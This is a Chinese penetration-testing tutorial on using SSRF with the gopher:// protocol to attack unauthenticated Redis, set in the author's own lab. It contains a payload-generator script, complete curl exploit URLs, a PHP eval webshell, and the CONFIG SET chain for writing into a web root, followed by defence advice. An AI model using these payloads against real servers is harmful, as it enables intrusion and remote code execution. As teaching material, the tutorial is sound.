SSRF 从入门到实战(下篇):gopher 打 Redis 实现 RCE

本文为教学用途,所有复现均在作者自建靶场内完成。请勿在未授权的情况下对真实系统进行测试。 根据《网络安全法》,未经授权测试、攻击他人系统属于违法犯罪行为。禁止复制 本文Payload 对外部站点进行测试,违规使用造成的一切后果由使用者自行负责。

接上篇与中篇。你已经会:用 SSRF 读内网服务(上篇)、绕过 IP 黑名单与 302 跳转(中篇)。但这些都还停留在"读"。本篇是真正的重头戏:利用 gopher:// 协议,通过 SSRF 打穿内网无密码 Redis,读取敏感数据,并写入 webshell 实现 RCE


1. 终极大招:gopher 协议打穿无密码 Redis(写入 webshell)

前面都是"读数据"。现在上强度------真正的危害:通过 SSRF 实现 RCE(远程命令执行)

1.1 两个必要的铺垫(为什么是 6379,为什么用 raw 接口)

铺垫 1:攻击者怎么知道 6379 是 Redis?

回顾上篇第 4.2 节:我们用 SSRF 扫端口时,访问 127.0.0.1:6379/ 返回了 Empty reply from server,当时只判断出"端口开着、但不是 HTTP 服务"。那怎么知道它是 Redis?

其实很好猜------6379 就是 Redis 的默认端口 。在真实渗透里,攻击者扫到 6379 后,"这大概率是 Redis"几乎是本能反应(就像 3306→MySQL、27017→MongoDB、6379→Redis)。为了实锤,可以再用 gopher 发一条 PING,如果收到 +PONG,就 100% 确认是 Redis 了------这正是下面 1.5 要做的事。

铺垫 2:raw 接口又是哪来的?

但在真实世界 里:开发者通常根本不会想到去限制协议。很多功能(网页转存、在线代理、URL 检测)直接拿用户给的 URL 交给底层库请求,gopher/dict/file 全都放行。所以真实场景里:

  1. 攻击者拿到的往往就是某个 ?url= 参数,不会区分"这个接口能不能发 gopher";

  2. 他会把同一个 payload 往 fetchproxyraw......(或者真实环境里的 url/target/link挨个试一遍 ,哪个能返回 +PONG 就用哪个。

那真实环境里我要不要担心"这个接口限制协议了"? 担心,但顺序别搞反:先试,试了再说。 因为"限制协议"是需要开发者主动做的(CURLOPT_PROTOCOLS 之类的配置),而现实中大量系统没做。第一次遇到某功能,直接拿 gopher payload 试一次,通了就赚了,不通再想别的招。这比"猜它限不限制"高效得多。

所以攻击者的路径是:扫到 6379 → 判断是 Redis → 用 gopher payload 试各个能透传的接口 → 发现 raw(或某个接口)能通,就用它发起攻击。

1.2 为什么选 Redis?

内网的 Redis 默认没有密码protected-mode no),而且 Redis 使用的是简单的文本协议(RESP):你只要按格式发送字节,Redis 就会执行命令。

回顾上篇埋的伏笔:gopher:// 协议能让你往目标端口原样投喂任意字节。那么:

复制代码
gopher://127.0.0.1:6379/_<一段 RESP 格式的字节>

就等价于"用一条命令向 Redis 发送若干条 Redis 命令"。SSRF 从"读"升级成了"写"。

1.3 先搞懂 Redis 的 RESP 协议

在 Redis 的技术语境下,RESP 指的是 Redis 序列化协议(Redis Serialization Protocol)。它是 Redis 客户端和服务器端之间进行通信的"语言",规定了数据在网络上如何编码和传输

Redis 客户端和服务端对话,用的是 RESP 协议。它其实就是"星号开头 + 每段带长度"的纯文本。

RESP2 是当前广泛使用的版本,通过第一个字节 来标识数据类型,并用 \r\n 作为每个部分的结束符。主要包含以下基础类型:

数据类型 第一个字节 示例 说明
简单字符串 + +OK\r\n 用于返回简单的状态信息,如 OK
错误信息 - -ERR unknown command\r\n 用于返回错误消息,客户端通常将其视为异常。
整数 : :1000\r\n 用于返回整数,如 INCRLLEN 等命令的返回值。
批量字符串 $ $6\r\nfoobar\r\n 表示一个二进制安全的字符串,长度由 $ 后的数字指定。 $-1\r\n 表示 null
数组 * *2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n 表示一组有序的元素,每个元素可以是任意其他 RESP 类型。这也是客户端发送命令的格式。

客户端如何发送命令?

客户端会将命令及其参数编码成一个 RESP 数组 (批量字符串类型),发送给服务器。例如,命令 SET mykey myvalue 会被编码为:*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$7\r\nmyvalue\r\n

例如:

发送 PING(一个命令,一个参数 PING):

复制代码
*1\r\n$4\r\nPING\r\n

拆开看:

片段 含义
*1 后面有 1 个参数块
$4 接下来这个参数的长度是 4 字节
PING 参数内容
\r\n 每个块的换行分隔符

发送 SET name zhangsan(三个参数:SETnamezhangsan):

复制代码
*3\r\n$3\r\nSET\r\n$4\r\nname\r\n$8\r\nzhangsan\r\n

\r\n 是什么? 就是回车换行,十六进制是 0x0d 0x0a,在 URL 编码里写作 %0d%0a。它是 RESP 协议里分割"块"的标记,就像 HTTP 里的换行一样。后面所有 payload 里的 %0d%0a 都是它。

1.4 关键:为什么还要"双重 URL 编码"

我们最终要通过 curl 把 payload 放进 URL 参数 raw 里发给靶机。数据会经过两次解码

  1. 第一次 :你的浏览器/curl 发出 HTTP 请求时,URL 参数里的 %xx 会被解码一次(这是 HTTP 的规则);

  2. 第二次 :靶机 PHP 拿到 $_GET['raw'],再把它交给 cURL 去请求 gopher 地址时,cURL 又会把 gopher 地址里的 %xx 再解码一次。

所以,想让 Redis 最终收到"原始的 *1\r\n$4\r\nPING\r\n",我们需要:

  • 把这些原始字节先做一次 URL 编码(给 cURL 解);

  • 再把整个结果再做一次 URL 编码(给 HTTP 第一次解码)。

这就是"双重编码"。可能看到这里你还是晕:%252A 到底是啥?

以 PING 命令为例:

长什么样 谁在用
① 原始字节 *1\r\n$4\r\nPING\r\n Redis 真正收到的
② 单层编码 gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A 靶机 cURL 解析时看到的
③ 双层编码 gopher://127.0.0.1:6379/_%252A1%250D%250A... 你(攻击者)放在 HTTP 参数里发的

每一层的 %xx 都表示"这一层是 URL 编码",解码一次就降一层:%252A →(HTTP 第一次解码)→ %2A →(cURL 第二次解码)→ * →(Redis 收到原始字节)。

那为什么不直接把原始字节 *1\r\n... 塞进 URL 参数?

因为 URL 参数里有规定:*\r\n$ 这些字符不能"裸着"出现在 URL 里(会破坏 URL 结构,尤其 \r\n 甚至可能被解析成换行造成歧义)。所以每一层传输前都必须编码成安全字符。层数 = 你隔了几层才把数据交给目标。 我们隔了两层(HTTP 参数 → PHP → cURL → Redis),所以要编两次。

下面是一个通用生成脚本 ,你想发任何 Redis 命令链都行(PING、GET、SET......都靠它),后面 1.5~1.7 的所有 payload 都是用这个脚本生成的。把 resp() 的参数换成你要发的命令即可:

复制代码
from urllib.parse import quote
​
def resp(*args):          # 把"一条命令的若干参数"拼成 RESP 协议字节
    out = b'*' + str(len(args)).encode() + b'\r\n'
    for a in args:
        out += b'$' + str(len(a)).encode() + b'\r\n' + a + b'\r\n'
    return out
​
# ===== 在这里组装命令链 =====
cmds = resp(b'PING')             # 例1:PING
cmds += resp(b'QUIT')            #      加 QUIT 让连接关闭
# =============================
​
once   = quote(cmds)                                     # 第一层编码(给靶机 cURL 解)
final  = 'gopher://127.0.0.1:6379/_' + quote(once)       # 再编一次,得到可直接发的完整 URL
print("命令编码(%2A、%0D%0A 这些):", once)
print("最终要发的完整 URL:", final)

把这脚本存成 gen_gopher.py。后面每发一条新命令,只需改 cmds = ... 那两行,把脚本输出的"完整 URL"整个复制进 curl 就行。别再手写 payload,容易错。

为什么脚本里 gopher://127.0.0.1:6379/_ 是明文,只有命令部分编码两次?

因为 :///: 这些符号出现在 HTTP 参数里不会破坏 URL 结构(?raw=gopher://127.0.0.1:6379/_... 是合法的),而命令里的 *$\r\n 才必须编码。所以只需对 _ 后面的命令字节做"两层编码":第一层给靶机 cURL 解,第二层给 HTTP 参数解。这也是为什么文档里所有 payload 都是 gopher://127.0.0.1:6379/_%252A... 这种"前缀明文 + 命令双编码"的样子。
为什么不直接手写 gopher://127.0.0.1:6379/_PING 因为 PING 命令在 RESP 协议里不是光秃秃的 PING,它需要带上 *1\r\n$4\r\n 这些长度头,Redis 才认识。裸发 PING,Redis 会报协议错误。所以要老老实实按 RESP 格式编码。

1.5 第一步:用 gopher 探测 Redis 存活(PING)

先把 1.4 脚本的 cmds 改成 cmds = resp(b'PING') + resp(b'QUIT') 运行一次,脚本会打印"命令编码"和"完整 URL"两行。下面这份就是脚本生成的真实结果。

我们在命令末尾追加一条 QUIT(让 Redis 主动断开连接,否则 PING 后连接不关闭会导致 cURL 超时------这是实战中的小技巧)。

命令字节为:*1\r\n4\\r\\nPING\\r\\n\*1\\r\\n4\r\nQUIT\r\n

脚本输出的"命令编码"是:

复制代码
%2A1%0D%0A%244%0D%0APING%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A

脚本输出的"完整 URL"(就是放进 HTTP 参数的完整地址),直接复制进 curl:

复制代码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25244%250D%250APING%250D%250A%252A1%250D%250A%25244%250D%250AQUIT%250D%250A"

真实返回(+PONG 说明连通,+OK 是 QUIT 的响应):

复制代码

1.6 第二步:用 gopher 读取 Redis 里的敏感数据(GET flag)

现在把 1.4 脚本的 cmds 改一行:cmds = resp(b'GET', b'internal_flag') + resp(b'QUIT'),运行后把"完整 URL"复制进 curl。下面拆给你看(和 1.5 完全同构,只是命令变了)。

我们提前在内网 Redis 里存了一个 flag:

复制代码
key: internal_flag    value: flag{REDIS_内网服务_未授权_可被SSRF攻击}

构造命令:GET internal_flag + QUIT,RESP 字节为:

复制代码
*2\r\n$3\r\nGET\r\n$13\r\ninternal_flag\r\n*1\r\n$4\r\nQUIT\r\n

脚本输出的"命令编码"是:

复制代码
%2A2%0D%0A%243%0D%0AGET%0D%0A%2413%0D%0Ainternal_flag%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A

脚本输出的"完整 URL",直接复制进 curl(完整可复现命令):

复制代码
raw=gopher://127.0.0.1:6379/_%252A2%250D%250A%25243%250D%250AGET%250D%250A%252413%250D%250Ainternal_flag%250D%250A%252A1%250D%250A%25244%250D%250AQUIT%250D%250A"

真实返回:

复制代码

成功了。$51 是 Redis 返回的数据长度(51 字节),下面那行就是 flag 内容,+OKQUIT 的响应。

$51 为什么是 51?

Redis 返回字符串时用 $长度\r\n内容\r\n 的格式,$51 表示接下来有 51 字节的字符串。flag{REDIS_内网服务_未授权_可被SSRF攻击} 数一数正好 51 个字符。这个长度是 Redis 自动算的,不用我们管。

1.7 第三步:写入 webshell,实现 RCE(完整攻击链)

拿到 flag 只是"读"。真正的杀招是写文件 。Redis 有一个 save 命令,会把内存数据持久化到磁盘文件(RDB)。利用它的思路是:先把 webshell 内容作为数据 SET 进 Redis,再 save 到磁盘上的一个 .php 文件,让 Web 服务器能解析它。

先讲清楚一个容易误解的点。执行下面的命令链:

  1. flushall 清空 Redis;

  2. SET x "<?php @eval($_POST["cmd"]);?>" 把一句 PHP 木马存进 Redis;

  3. save 把内存数据持久化到磁盘;

  4. 末尾加 QUIT 让 Redis 主动断开连接(否则 save 后连接不关闭,cURL 会超时)。

但注意:save 到底把文件写到哪、叫什么名字,是由 Redis 自己的配置决定的(工作目录 dir + 文件名 dbfilename)。 上面这串 RESP 命令里并没有"我要写到 /tmp/shell.php"这一步------那配置哪来的?

在我们这个靶场里:Redis 是启动脚本用参数预先配好的。

复制代码
# start.sh 里的启动命令
redis-server --port 6379 --bind 127.0.0.1 \
  --protected-mode no --dir /tmp --dbfilename shell.php

--dir /tmp --dbfilename shell.php 让 Redis 一启动就"默认把数据存到 /tmp/shell.php"。所以我们只发 flushall + SET + save,文件就直接落在了 /tmp/shell.php

那真实环境里,Redis 的 dir/dbfilename 不是我能控制的,怎么让文件写到想要的位置?

这正是真实攻击的关键一步:攻击者需要先用 gopher 发 CONFIG SET dir <web目录>CONFIG SET dbfilename shell.php,把 Redis 的持久化位置改到 Web 根目录,再 SET+save。经典攻击链其实是:

复制代码
CONFIG SET dir /var/www/html     → 把工作目录改成网站根目录
CONFIG SET dbfilename shell.php  → 把数据文件命名为 shell.php
SET x "<?php @eval(...) ?>"       → 存入木马
SAVE                              → 落盘成 /var/www/html/shell.php

但注意一个现实限制:新版 Redis(7+)把 dir/dbfilename 设成了受保护配置,CONFIG SET 会直接拒绝 (我们实验时也遇到了 ERR CONFIG SET failed ... protected config)。所以现代版本里这条路要配合其他条件(比如 Redis 恰好能写、或用 Redis 的模块/主从复制等更复杂手段)。靶场为了让你专注理解"gopher 打 Redis 写文件"的核心原理,用启动参数简化了这一步 ------真实攻击的难点往往就多在这几条 CONFIG SET 上。

RESP 命令字节(关键部分):

复制代码
*1\r\n$8\r\nflushall\r\n
*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$29\r\n<?php @eval($_POST["cmd"]);?>\r\n
*1\r\n$4\r\nsave\r\n
*1\r\n$4\r\nQUIT\r\n

为什么要先 flushall

因为 save 会把 Redis 里所有 key 都写进文件。如果 Redis 里残留别的 key,文件内容会更乱。先清空,让文件里只有我们写的木马,干净一些(虽然 RDB 格式还是会带文件头,见下文)。
**写到了 /tmp/shell.php,可 /tmp 不是 Web 目录啊,这算 RCE 吗?**答案分两层:

  1. 在靶场里 :我们把文件写到 /tmp 主要是为了**验证"确实往服务器磁盘写了文件"**这个能力(攻击链的完整性)。

  2. 真实攻击中 :攻击者会把文件写到 Web 服务器能解析的目录 (如 /var/www/html/shell.php),然后用浏览器访问 http://目标/shell.php 传参执行命令,那才算拿到 RCE。写到 /tmp 只是"证明能写",要变成真正可执行的 webshell,dir 得指向 Web 目录------这也是上面 CONFIG SET dir 之所以重要的原因。

用 1.4 的脚本生成(把 cmds 改成下面这行即可):

复制代码
cmds = resp(b'flushall') + resp(b'SET', b'x', b'<?php @eval($_POST["cmd"]);?>') + resp(b'save') + resp(b'QUIT')

脚本输出的"完整 URL"就是下面这条(完整可复现命令),直接复制进 curl:

复制代码
curl "http://127.0.0.1:8080/vuln.php?raw=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250ASET%250D%250A%25241%250D%250Ax%250D%250A%252429%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2522cmd%2522%255D%2529%253B%253F%253E%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%252A1%250D%250A%25244%250D%250AQUIT%250D%250A"

真实返回(四个 +OK,对应 flushall、SET、save、QUIT 各命令都成功执行):

复制代码

怎么验证写入成功? 注意:/tmp/shell.php 是写在服务器本机的,你没法 ls 它。

但你可以再用一次 SSRF 把它读回来 ------上篇学过 file:// 协议能读服务器本地文件,而 fetch 接口没限制协议:

复制代码
curl "http://127.0.0.1:8080/vuln.php?fetch=file:///tmp/shell.php"

真实返回(能看到文件里混着我们的 PHP 木马,这就是写入成功的证据):

复制代码

为什么非要用 file:// 读回验证?直接在服务器上 grep /tmp/shell.php 不行吗?

不行------那等于你已经拿到服务器 shell 了。攻击者此刻只有 SSRF 这一个入口,没有任何直接在服务器上执行命令的能力。所以唯一能做的验证,就是"继续用 SSRF 这个入口把文件内容读回来"。

这个思路要记住:在拿到 shell 之前,你能做的所有事都得"绕回 SSRF 这个入口"完成。

到这一步,攻击链就完整了:SSRF → gopher 协议 → 无密码 Redis → 写文件(webshell)→ RCE

文件内容前面那些乱码(REDIS0012...redis-ver...)是什么?

那是 Redis RDB 持久化格式自带的文件头(二进制元数据),因为我们是用 Redis 的 save 把整个数据库 dump 出来的,文件开头自然是 RDB 格式。

**但 PHP 解析器遇到 <?php 前会把它当普通文本忽略,遇到 <?php ... ?> 后照样执行我们的木马代码。所以这个文件依然能作为 webshell 用。**真实攻击者为了"干净",会想办法让木马独立成文件,但原理一致。


2. 完整攻击链回顾(一张图看懂)

复制代码
你(外部用户,唯一入口是 8080)
   │
   │ 1. 提交 SSRF payload(内网地址 / gopher 数据)
   ▼
漏洞靶机 8080(有 SSRF,信任用户 URL)
   │ 2. 靶机代你向内网发请求
   ├──────────────────────────────► 内网管理后台 18080  ──► 泄露 flag
   │ 3. 或用 gopher 投喂 RESP 字节
   └──────────────────────────────► 内网 Redis 6379 ──► 写 webshell ──► RCE

核心逻辑一句话:你把"服务器"当成了跳板,借它的身份去访问它本不该暴露给你的内网资源,甚至向内网服务下发命令。


3. 怎么防御 SSRF?(对应着上面的每一步攻击)

学到这,你应该能反过来理解防御手段了。防御要"对着攻击点堵":

3.1 根本:不要信任用户 URL 的"目标"

  • 如果业务允许,用白名单(只允许访问某个固定域名/IP),而不是黑名单。白名单是"默认拒绝",天然安全。

  • 上面所有 IP 绕过、跳转绕过,本质都是"黑名单漏了",白名单能根治。

3.2 解析后再校验(堵 IP 马甲)

不要用字符串匹配去判断 IP。正确做法:先把域名/IP 解析成真实 IP(getaddrinfo),再判断这个 IP 是否属于内网网段(127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16 等)。这样十六进制、十进制、八进制都逃不掉。

3.3 禁止跳转 + 限制协议

  • 关闭 CURLOPT_FOLLOWLOCATION,或对跳转后的地址再次校验;

  • 只允许 http/https ,禁用 file://gopher://dict:// 等危险协议(PHP 用 CURLOPT_PROTOCOLS 限定)。

3.4 网络层隔离(纵深防御)

即便应用层有漏洞,如果服务器所在的网络无法访问内网/云元数据 (比如云上关闭了元数据访问、内网服务绑定了强认证、防火墙隔离),SSRF 的威力也会大打折扣。"内网服务默认不设防"才是最危险的部分------给内网服务也加上认证,等于给 SSRF 兜了底。


4. 总结

层次 内容 关键词 所在篇
概念 让服务器代理访问内网/本机 服务端请求伪造 上篇
危害 探测内网 → 读敏感信息 → 打内网服务 → 拿云凭据 元数据 169.254.169.254 上篇
基础利用 fetch=http://127.0.0.1:18080/admin、端口扫描、猜路径 无过滤 SSRF、探测 上篇
协议 http / file / gopher gopher 投喂任意字节 上篇 / 下篇
绕过 十六进制/十进制/八进制 IP、302 跳转、DNS 重绑定 字符串匹配 vs 数字解析 中篇
进阶利用 gopher 打无密码 Redis 写 webshell RESP 协议、双重编码 下篇
防御 白名单、解析后校验、禁协议、网络隔离 纵深防御 下篇

给初学者的最后一句建议:SSRF 看着简单,但它是"内网渗透的敲门砖",真正的威力来自你对内网服务(Redis、Docker、云元数据)的理解

相关推荐
承渊政道1 小时前
从GB到TB:KFS如何实现高吞吐、有序的异构增量同步
数据库·kingbase·延迟优化·kfs·数据量级优化
名字还没想好☜1 小时前
Java 用 LinkedHashMap 三行实现 LRU 缓存:accessOrder、removeEldestEntry 与线程安全
java·后端·安全·spring·缓存
广州灵眸科技有限公司2 小时前
灵眸科技EAI3572-Core-L核心板即将发布!八核+4TOPS NPU,面向工业与边缘AI
linux·运维·服务器·数据库·yolo
手握风云-2 小时前
Redis:不只是缓存那么简单(十六)
缓存
Y3815326629 小时前
MySQL 慢查询排查实战:EXPLAIN 看懂 type 与 Extra,一个字段定位性能问题
数据库·mysql
Logintern0911 小时前
PostgreSQL 的 ORDER BY 多列排序
数据库·postgresql
今天AI了吗11 小时前
DeepSeek Harness 深度解析:从评测架构到实战落地
java·网络·数据库·人工智能·架构·java-ee
数据库小学妹12 小时前
为什么MySQL索引用B+树?从存储底层讲透原理
数据库·mysql·b+树·索引优化·磁盘io·数据库原理
BestHeaker12 小时前
制造业 MES 开发入门:和互联网业务开发的 5 个本质差异(一)
数据库·经验分享·制造业·mes